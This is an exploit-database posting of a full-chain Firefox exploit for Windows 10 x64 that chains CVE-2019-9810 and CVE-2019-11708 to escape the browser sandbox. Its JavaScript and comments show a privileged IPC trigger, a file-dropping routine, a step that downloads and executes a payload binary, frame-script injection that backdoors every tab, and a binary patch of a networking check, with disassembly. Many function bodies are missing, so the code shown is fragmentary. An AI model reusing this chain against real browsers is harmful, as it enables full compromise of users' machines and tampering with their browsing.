Mozilla firefox (windows 10 x64) full chain client side attack Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-12-07 |
Type : local |
Platform : windows_x86-64
This exploit / vulnerability Mozilla firefox (windows 10 x64) full chain client side attack is for educational purposes only and if it is used you will do on your own risk!
//
// This function uses a `Sandbox` with a `System Principal` to be able to grab the
// `docShell` object off the `window` object. Once it has it, it can grab the frame
// `messageManager` that we need to trigger the sandbox escape.
//
function GetContentFrameMessageManager(Win) {
function _GetDocShellFromWindow(Win) {
return Win.docShell;
}
//
// This function sends a 'Prompt:Open' message over the frame message manager IPC,
// with an URI.
//
function PromptOpen(Uri) {
const FrameMM = GetContentFrameMessageManager(window);
const Result = FrameMM.sendSyncMessage('Prompt:Open', { uri: Uri });
return Result;
}
//
// This is the function that abuses the `Prompt:Open` message to re-exploit the parent
// process and escape the sandbox.
//
function TriggerCVE_2019_11708() {
PromptOpen(`${location.origin}?stage3`);
}
//
// This is the function that gets written into the frame script the exploit drops
// on disk. A trick to debug this code is to pop-up a `Browser Toolbox` as well as a
// `Browser Content toolbox` and execute the following in the `Browser Toolbox`:
// Services.mm.loadFrameScript('file://frame-script.js', true)
// This should break in the `Browser Content Toolbox` debugger window.
//
function FrameScriptPayload() {
function PimpMyDocument() {
//
// Don't infect doar-e and leave Cthulhu alone...
//
//
// Time to party! Let's find every `A` tag and make them point to doar-e.
// We also use this opportunity to make every `backgroundImage` / `backgroundColor`
// style attributes to `none` / `transparent` to not hide the doar-e background.
//
//
// First we set an event handler to make sure to be invoked when a new `content`
// is created. Keep in mind that we basically have ~three cases to handle:
// 1/ We are getting injected in an already existing tab,
// 2/ We are getting injected in a new tab,
// 3/ A user clicks on a link and a new `content` gets created.
// We basically want to have control over those three events. The below ensures
// we get a chance to execute code for 2/.
//
//
// This function drops a file (open + write + close) using the OSFile JS module.
//
function DropFile(Path, Content) {
//
// We expect either a string or a TypedArray.
//
const Encoder = new TextEncoder();
const ContentBuffer = (typeof Content == 'string') ? Encoder.encode(Content) : Content;
return OS.File.open(Path, {write: true, truncate: true})
.then(File => {
return Promise.all([
// We return the File object in order to be able to use it in the
// next `.then`. This allows us to chain the `write` and the `close`
// without another level of deepness.
File,
File.write(ContentBuffer),
]);
})
.then((Results) => {
const [File, _WrittenBytes] = Results;
return File.close();
});
}
//
// This function drops / executes a payload binary, as well as inject a frame script
// into every tabs.
//
function Payload() {
//
// Import a bunch of JS modules we will be using later.
//
//
// First order of business, we create a first promise that downloads the payload
// (aka Slime Shady), drops it in the profile directory and finally executes it.
//
//
// At this time we are ready to inject the frame script into the tabs.
// Note that we need to drop the file locally / use the file:// scheme
// so that the tabs accept to interpret the file (unfortunately,
// remote ones are ignored).
//
dbg(`About to loadFrameScript: ${ScriptPath}`);
Services.mm.loadFrameScript(`file://${ScriptPath}`, true);
})
.catch(Ex => {
console.log(`Exception in frame payload promise: ${Ex}`);
});
//
// Last but not least, we set up code to execute on completion of both the above
// promises. You have to remember that at this point the modal window is still open
// and blocks navigation / UI interaction, so we need to close it as soon as we can
// to be as stealth as possible.
// Just for kicks, we spawn a calculator when we're done because why not.
//
//
// Phew, we made it here let's close the window :).
//
window.close();
})
.catch(Ex => {
console.log(`Exception in clean up promise: ${Ex}`);
window.close();
});
}
//
// This function patches the inlined portion of xpc::AreNonLocalConnectionsDisabled()
// in xul!mozilla::net::nsSocketTransport::InitiateSocket to avoid an assert when we have
// god mode. It's far from being the cleanest way, but this is the easiest way I found.
//
// nsresult nsSocketTransport::InitiateSocket() {
// SOCKET_LOG(("nsSocketTransport::InitiateSocket [this=%p]\n", this));
// nsresult rv;
// bool isLocal;
// IsLocal(&isLocal);
// if (gIOService->IsNetTearingDown()) {
// return NS_ERROR_ABORT;
// }
// if (gIOService->IsOffline()) {
// if (!isLocal) return NS_ERROR_OFFLINE;
// } else if (!isLocal) {
// if (NS_SUCCEEDED(mCondition) && xpc::AreNonLocalConnectionsDisabled() &&
// !(IsIPAddrAny(&mNetAddr) || IsIPAddrLocal(&mNetAddr))) {
// nsAutoCString ipaddr;
// RefPtr<nsNetAddr> netaddr = new nsNetAddr(&mNetAddr);
// netaddr->GetAddress(ipaddr);
// fprintf_stderr(
// stderr,
// "FATAL ERROR: Non-local network connections are disabled and a "
// "connection "
// "attempt to %s (%s) was made.\nYou should only access hostnames "
// "available via the test networking proxy (if running mochitests) "
// "or from a test-specific httpd.js server (if running xpcshell "
// "tests). "
// "Browser services should be disabled or redirected to a local "
// "server.\n",
// mHost.get(), ipaddr.get());
// MOZ_CRASH("Attempting to connect to non-local address!");
// }
// }
//
function PatchInitiateSocket() {
//
// Let's patch xul!mozilla::net::nsSocketTransport::InitiateSocket
// so that it doesn't assert on us because we turned on testing features.
// This is the assert we hit without the patch:
//
// FATAL ERROR: Non-local network connections are disabled and a connection attempt to google.com (172.217.14.206) was made.
// You should only access hostnames available via the test networking proxy
// (if running mochitests) or from a test-specific httpd.js server (if running
// xpcshell tests). Browser services should be disabled or redirected to a local
// server.
// (4014.82c): Break instruction exception - code 80000003 (first chance)
// xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe92:
// 00007ff9`69a66372 cc int 3
//
// Here is the disasembly before:
//
// 0:062> u xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6
// xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 [c:\mozilla-central\netwerk\base\nsSocketTransport2.cpp @ 1264]:
// 00007ff9`3f9c55c6 8b0d0cc7ff04 mov ecx,dword ptr [xul!disabledForTest (00007ff9`449c1cd8)]
// 00007ff9`3f9c55cc 83f9ff cmp ecx,0FFFFFFFFh
// 00007ff9`3f9c55cf 7520 jne xul!mozilla::net::nsSocketTransport::InitiateSocket+0x111 (00007ff9`3f9c55f1)
// 00007ff9`3f9c55d1 488d0ddaa3df04 lea rcx,[xul!`string' (00007ff9`447bf9b2)]
//
// And after:
//
// 0:068> u xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6
// xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 [c:\mozilla-central\netwerk\base\nsSocketTransport2.cpp @ 1264]:
// 00007ff9`3f9c55c6 90 nop
// 00007ff9`3f9c55c7 90 nop
// 00007ff9`3f9c55c8 90 nop
// 00007ff9`3f9c55c9 4831c9 xor rcx,rcx
// 00007ff9`3f9c55cc 83f9ff cmp ecx,0FFFFFFFFh
// 00007ff9`3f9c55cf 7520 jne xul!mozilla::net::nsSocketTransport::InitiateSocket+0x111 (00007ff9`3f9c55f1)
//
// 0:051> ? xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 - xul
// Evaluate expression: 1529286 = 00000000`001755c6
//
//
// One way to tell if we were successful with our data corruption is by checking
// if we have access to the PrivilegeManager. If we do, it means we are running
// with a privileged context, if not we don't.
//
//
// Before going further, let's fix xul!mozilla::net::nsSocketTransport::InitiateSocket
// to avoid the Firefox being unhappy.
//
PatchInitiateSocket()
//
// Now that we have access to the privileged context, we are also able to talk
// over the frame message manager IPC and trigger CVE-2019-11708 to escape the
// exploit the parent process.
//
TriggerCVE_2019_11708();
}
if(Route == '?stage3') {
//
// We should now be running in the broker which means we can exploit CVE-2019-9810
// to perform the same attack than in stage1 but this time in the parent process.
//
if(!ExploitCVE_2019_9810()) {
console.log('Elevation failed, closing the window.');
window.close();
}
//
// If we are successful it means that by refreshing the page, we should have
// access to the privileged JS context from the parent process.
// This basically means full compromise and we move on to backdooring the tabs,
// as well as dropping the payload.
//
location.replace(`${location.origin}/?final`);
}
if(Route == '?final') {
//
// All right, we start of by turning on privileges so that we can access `Components`
// & cie.
//